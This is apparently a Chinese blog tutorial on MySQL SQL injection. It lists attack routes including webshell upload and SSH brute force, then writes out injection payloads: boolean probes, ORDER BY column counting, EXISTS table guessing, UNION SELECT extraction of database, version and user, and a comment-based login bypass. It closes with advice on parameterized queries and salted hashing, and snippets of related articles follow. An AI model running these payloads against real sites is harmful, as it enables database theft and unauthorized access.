Mysql資料庫注入 yellowcong

2021-08-14 20:26:19 字數 3007 閱讀 7130

**攻擊的方式大致有三種:1、通過資料庫注入攻擊(通過檢查工具,來判斷資料庫中是否存在表,)2、上傳攻擊,(通過上傳webshell的方式,來攻擊目標,有偽裝的,有直接通過burpsuite這種攔截請求,然後修改上傳內容的),3、通過直接暴力破解ssh的位址(這種方式實現起來,需要跑字典的方式,比較的費時間)。

# 通過and 來判斷 驗證是否支援sql注入

and1=1

and1=2

# 然後通過 獲取注入的字段的長度

# order 11, 檢視是不是11個字段

#order 12 檢視是不是12個字段

#通過第4個字段進行排序操作

select * from sys_role orderby4

#獲取字段長度後,獲取資料庫資訊

#判斷是否存在表

select * from sys_role where exists(select * from sys_user);

#主要是通過exists來檢視是否存在表

and exist (select * from admin)

#通過 union ,這種方式可以把資料庫的資訊獲取到,直接就獲取到系統的管理員密碼,如果密碼是md5的,可以直接去 進行解碼

union (select

1,2,3,4*** from ***)

測試**是否支援資料庫注入,如果出現異常,就說明不支援了,如果正常返回,說明這個連線,支援資料庫注入。

獲取去資料庫系統資訊

-- union select database(),version(),user(),4 from sy

s_role; 是後面注入的

注入獲取所有的表資訊

select * from sys_role union

select

database(),version(),user(),4

from sy

s_role;

判斷是否存在管理員表,通過猜的方式來獲取去到資料庫管理員的表的名稱

第二種方式,通過插敘你的方式來獲取表的名稱

-- 我們已經知道資料庫當前的schema  yellowcong

-- 使用者是root

-- 獲取所有表的資訊

-- 我們已經知道資料庫當前的schema  yellowcong

-- 使用者是root

-- 獲取所有表的資訊

-- 我們上面已經知道了表的資訊

--所有就可以直接查詢出來了

-- 正常查詢

select * from sys_user where username ='yellowcong'

and password='xx';

-- 注入方式查詢,給中間一段給注釋上了,直接就可以跑了

select * from sys_user where username =1/* and password='xx'*/ or

1=1;

直接通過查詢的時候,注入/**/來注釋掉**。

通過下面這個**,可以很輕鬆的將密碼跑出來

給md5多次加密的方式,和加鹽的方式,來 實現md5加密,這樣就可以防止md5解密了

在寫**的時候,盡量不要用sql語句拼接的方式,在jdbc中,最好用傳遞引數的方式,這樣就可以解決問題了。還有對於實在不能通過引數,需要動態建立的sql,做好 sql的驗證工作。

MySQL資料庫注入基礎

語言分類 解釋型語言和編譯型語言。解釋型語言是一種在執行時由乙個執行時元件解釋語言 並執行其中包含的指令的語言。在解釋型語言中,如果程式與使用者進行互動,使用者就可以構造特殊的輸入來拼接到程式中執行,從而讓程式依據使用者輸入執行可能存在惡意行為的 預設定義了information schema資料庫...

mysql資料庫sql注入原理 SQL注入原理

結構化查詢語句 structured query language,縮寫 sql 是一種特殊的程式語言,用於資料庫中的標準資料查詢語言。sql注入 sql injection 是一種常見的web安全漏洞,攻擊者利用這個問題,可以訪問或者修改資料,或者利用潛在的資料庫漏洞進行攻擊。什麼是sql注入?s...

MSSQL資料庫注入

用下面的這種方法暫時解決了,目前為止沒有再出現插入了 在global.asax檔案下面加入如下 希望能管用.針對.net region sql注入式攻擊 分析 處理使用者提交的請求 分析使用者請求是否正常 傳入使用者提交資料 返回是否含有sql注入式攻擊 private bool processsq...